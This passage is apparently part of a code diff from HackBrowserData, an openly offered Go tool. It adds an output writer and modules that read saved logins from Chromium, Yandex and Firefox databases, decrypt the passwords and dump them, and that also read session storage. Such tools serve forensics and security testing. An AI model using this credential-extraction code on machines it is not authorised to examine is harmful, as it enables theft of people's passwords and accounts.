actual: []byte{0x7b, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x6f, 0x6c, 0x63, 0x65, 0x6e, 0x67, 0x69, 0x6e, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2f, 0x66, 0x65, 0x69, 0x6c, 0x69, 0x61, 0x6e, 0x22, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x22, 0x3a, 0x22, 0xc3, 0x9e, 0xe9, 0xa3, 0x9e, 0xe8, 0xbc, 0xad, 0x6b, 0xe7, 0x81, 0xb1, 0xe5, 0xb0, 0x95, 0xe5, 0xbf, 0x8e, 0xe6, 0x90, 0xa2, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6d, 0x61, 0x6e, 0x75, 0x61, 0x6c, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x22, 0x7d, 0xef, 0xbf, 0xbd},
},
}
func TestLocalStorageKeyToUTF8(t *testing.T) {
t.Parallel()
for _, tc := range testCases {
actual, err := convertUTF16toUTF8(tc.in, unicode.BigEndian)
if err != nil {
t.Error(err)
}
// TODO: fix this, value from local storage if contains chinese characters, need convert utf16 to utf8
// but now, it can't convert, so just skip it.
assert.Equal(t, tc.actual, actual, "chinese characters can't actual convert")
}
}
browserdata/outputter.go
+79
View File
@@ -0,0 +1,79 @@
package browserdata
import (
"encoding/csv"
"encoding/json"
"errors"
"io"
"os"
"path/filepath"
"github.com/gocarina/gocsv"
"golang.org/x/text/encoding/unicode"
"golang.org/x/text/transform"
"github.com/moond4rk/hackbrowserdata/extractor"
)
type outPutter struct {
json bool
csv bool
}
func newOutPutter(flag string) *outPutter {
o := &outPutter{}
if flag == "json" {
o.json = true
} else {
o.csv = true
}
return o
}
func (o *outPutter) Write(data extractor.Extractor, writer io.Writer) error {
switch o.json {
case true:
encoder := json.NewEncoder(writer)
encoder.SetIndent("", " ")
encoder.SetEscapeHTML(false)
return encoder.Encode(data)
default:
gocsv.SetCSVWriter(func(w io.Writer) *gocsv.SafeCSVWriter {
writer := csv.NewWriter(transform.NewWriter(w, unicode.UTF8BOM.NewEncoder()))
writer.Comma = ','
return gocsv.NewSafeCSVWriter(writer)
})
return gocsv.Marshal(data, writer)
}
}
func (o *outPutter) CreateFile(dir, filename string) (*os.File, error) {
if filename == "" {
return nil, errors.New("empty filename")
}
if dir != "" {
if _, err := os.Stat(dir); os.IsNotExist(err) {
err := os.MkdirAll(dir, 0o750)
if err != nil {
return nil, err
}
}
}
var file *os.File
var err error
p := filepath.Join(dir, filename)
file, err = os.OpenFile(filepath.Clean(p), os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
if err != nil {
return nil, err
}
return file, nil
}
func (o *outPutter) Ext() string {
if o.json {
return "json"
}
return "csv"
}
browserdata/outputter_test.go
+23
View File
@@ -0,0 +1,23 @@
package browserdata
import (
"os"
"testing"
)
func TestNewOutPutter(t *testing.T) {
t.Parallel()
out := newOutPutter("json")
if out == nil {
t.Error("New() returned nil")
}
f, err := out.CreateFile("results", "test.json")
if err != nil {
t.Error("CreateFile() returned an error", err)
}
defer os.RemoveAll("results")
err = out.Write(nil, f)
if err != nil {
t.Error("Write() returned an error", err)
}
}
browserdata/password/password.go
+254
View File
@@ -0,0 +1,254 @@
package password
import (
"database/sql"
"encoding/base64"
"log/slog"
"os"
"sort"
"time"
"github.com/tidwall/gjson"
_ "modernc.org/sqlite" // import sqlite3 driver
"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumPassword, func() extractor.Extractor {
return new(ChromiumPassword)
})
extractor.RegisterExtractor(types.YandexPassword, func() extractor.Extractor {
return new(YandexPassword)
})
extractor.RegisterExtractor(types.FirefoxPassword, func() extractor.Extractor {
return new(FirefoxPassword)
})
}
type ChromiumPassword []loginData
type loginData struct {
UserName string
encryptPass []byte
encryptUser []byte
Password string
LoginURL string
CreateDate time.Time
}
const (
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
)
func (c *ChromiumPassword) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.ChromiumPassword.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.ChromiumPassword.TempFilename())
defer db.Close()
rows, err := db.Query(queryChromiumLogin)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
url, username string
pwd, password []byte
create int64
)
if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
slog.Error("scan chromium password error", "err", err)
}
login := loginData{
UserName: username,
encryptPass: pwd,
LoginURL: url,
}
if len(pwd) > 0 {
if len(masterKey) == 0 {
password, err = crypto.DecryptWithDPAPI(pwd)
} else {
password, err = crypto.DecryptWithChromium(masterKey, pwd)
}
if err != nil {
slog.Error("decrypt chromium password error", "err", err)
}
}
if create > time.Now().Unix() {
login.CreateDate = typeutil.TimeEpoch(create)
} else {
login.CreateDate = typeutil.TimeStamp(create)
}
login.Password = string(password)
*c = append(*c, login)
}
// sort with create date
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].CreateDate.After((*c)[j].CreateDate)
})
return nil
}
func (c *ChromiumPassword) Name() string {
return "password"
}
func (c *ChromiumPassword) Len() int {
return len(*c)
}
type YandexPassword []loginData
const (
queryYandexLogin = `SELECT action_url, username_value, password_value, date_created FROM logins`
)
func (c *YandexPassword) Extract(masterKey []byte) error {
db, err := sql.Open("sqlite", types.YandexPassword.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.YandexPassword.TempFilename())
defer db.Close()
rows, err := db.Query(queryYandexLogin)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
url, username string
pwd, password []byte
create int64
)
if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
slog.Error("scan yandex password error", "err", err)
}
login := loginData{
UserName: username,
encryptPass: pwd,
LoginURL: url,
}
if len(pwd) > 0 {
if len(masterKey) == 0 {
password, err = crypto.DecryptWithDPAPI(pwd)
} else {
password, err = crypto.DecryptWithChromium(masterKey, pwd)
}
if err != nil {
slog.Error("decrypt yandex password error", "err", err)
}
}
if create > time.Now().Unix() {
login.CreateDate = typeutil.TimeEpoch(create)
} else {
login.CreateDate = typeutil.TimeStamp(create)
}
login.Password = string(password)
*c = append(*c, login)
}
// sort with create date
sort.Slice(*c, func(i, j int) bool {
return (*c)[i].CreateDate.After((*c)[j].CreateDate)
})
return nil
}
func (c *YandexPassword) Name() string {
return "password"
}
func (c *YandexPassword) Len() int {
return len(*c)
}
type FirefoxPassword []loginData
func (f *FirefoxPassword) Extract(globalSalt []byte) error {
logins, err := getFirefoxLoginData()
if err != nil {
return err
}
for _, v := range logins {
userPBE, err := crypto.NewASN1PBE(v.encryptUser)
if err != nil {
return err
}
pwdPBE, err := crypto.NewASN1PBE(v.encryptPass)
if err != nil {
return err
}
user, err := userPBE.Decrypt(globalSalt)
if err != nil {
return err
}
pwd, err := pwdPBE.Decrypt(globalSalt)
if err != nil {
return err
}
*f = append(*f, loginData{
LoginURL: v.LoginURL,
UserName: string(user),
Password: string(pwd),
CreateDate: v.CreateDate,
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].CreateDate.After((*f)[j].CreateDate)
})
return nil
}
func getFirefoxLoginData() ([]loginData, error) {
s, err := os.ReadFile(types.FirefoxPassword.TempFilename())
if err != nil {
return nil, err
}
defer os.Remove(types.FirefoxPassword.TempFilename())
loginsJSON := gjson.GetBytes(s, "logins")
var logins []loginData
if loginsJSON.Exists() {
for _, v := range loginsJSON.Array() {
var (
m loginData
user []byte
pass []byte
)
m.LoginURL = v.Get("formSubmitURL").String()
user, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
if err != nil {
return nil, err
}
pass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
if err != nil {
return nil, err
}
m.encryptUser = user
m.encryptPass = pass
m.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
logins = append(logins, m)
}
}
return logins, nil
}
func (f *FirefoxPassword) Name() string {
return "password"
}
func (f *FirefoxPassword) Len() int {
return len(*f)
}
browserdata/sessionstorage/sessionstorage.go
+175
View File
@@ -0,0 +1,175 @@
package sessionstorage
import (
"bytes"
"database/sql"
"fmt"
"log/slog"
"os"
"strings"
"github.com/syndtr/goleveldb/leveldb"
"golang.org/x/text/encoding/unicode"
"golang.org/x/text/transform"
"github.com/moond4rk/hackbrowserdata/extractor"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/byteutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
func init() {
extractor.RegisterExtractor(types.ChromiumSessionStorage, func() extractor.Extractor {
return new(ChromiumSessionStorage)
})
extractor.RegisterExtractor(types.FirefoxSessionStorage, func() extractor.Extractor {
return new(FirefoxSessionStorage)
})
}
type ChromiumSessionStorage []session
type session struct {
IsMeta bool
URL string
Key string
Value string
}
const maxLocalStorageValueLength = 1024 * 2
func (c *ChromiumSessionStorage) Extract(_ []byte) error {
db, err := leveldb.OpenFile(types.ChromiumSessionStorage.TempFilename(), nil)
if err != nil {
return err
}
defer os.RemoveAll(types.ChromiumSessionStorage.TempFilename())
defer db.Close()
iter := db.NewIterator(nil, nil)
for iter.Next() {
key := iter.Key()
value := iter.Value()
s := new(session)
s.fillKey(key)
// don't all value upper than 2KB
if len(value) < maxLocalStorageValueLength {
s.fillValue(value)
} else {
s.Value = fmt.Sprintf("value is too long, length is %d, supported max length is %d", len(value), maxLocalStorageValueLength)
}
if s.IsMeta {
s.Value = fmt.Sprintf("meta data, value bytes is %v", value)
}
*c = append(*c, *s)
}
iter.Release()
err = iter.Error()
return err
}
func (c *ChromiumSessionStorage) Name() string {
return "sessionStorage"
}
func (c *ChromiumSessionStorage) Len() int {
return len(*c)
}
func (s *session) fillKey(b []byte) {
keys := bytes.Split(b, []byte("-"))
if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) {
s.IsMeta = true
s.fillMetaHeader(keys[0])
}
if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) {
s.fillHeader(keys[0], keys[1])
}
if len(keys) == 3 {
if string(keys[0]) == "map" {
s.Key = string(keys[2])
} else if string(keys[0]) == "namespace" {
s.URL = string(keys[2])
s.Key = string(keys[1])
}
}
}
func (s *session) fillMetaHeader(b []byte) {
s.URL = string(bytes.Trim(b, "META:"))
}
func (s *session) fillHeader(url, key []byte) {
s.URL = string(bytes.Trim(url, "_"))
s.Key = string(bytes.Trim(key, "\x01"))
}
func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {
r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)
return r, err
}
// fillValue fills value of the storage
// TODO: support unicode charter
func (s *session) fillValue(b []byte) {
value := bytes.Map(byteutil.OnSplitUTF8Func, b)
s.Value = string(value)
}
type FirefoxSessionStorage []session
const (
querySessionStorage = `SELECT originKey, key, value FROM webappsstore2`
closeJournalMode = `PRAGMA journal_mode=off`
)
func (f *FirefoxSessionStorage) Extract(_ []byte) error {
db, err := sql.Open("sqlite", types.FirefoxSessionStorage.TempFilename())
if err != nil {
return err
}
defer os.Remove(types.FirefoxSessionStorage.TempFilename())
defer db.Close()
_, err = db.Exec(closeJournalMode)
if err != nil {
slog.Error("close journal mode error", "err", err)
}
rows, err := db.Query(querySessionStorage)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var originKey, key, value string
if err = rows.Scan(&originKey, &key, &value); err != nil {
slog.Error("scan session storage error", "err", err)
}
s := new(session)
s.fillFirefox(originKey, key, value)
*f = append(*f, *s)
}
return nil
}
func (s *session) fillFirefox(originKey, key, value string) {
// originKey = moc.buhtig.:https:443
p := strings.Split(originKey, ":")
h := typeutil.Reverse([]byte(p[0]))
if bytes.HasPrefix(h, []byte(".")) {
h = h[1:]
}
if len(p) == 3 {
s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2])
}
s.Key = key
s.Value = value
}
func (f *FirefoxSessionStorage) Name() string {
return "sessionStorage"
}
func (f *FirefoxSessionStorage) Len() int {
return len(*f)
}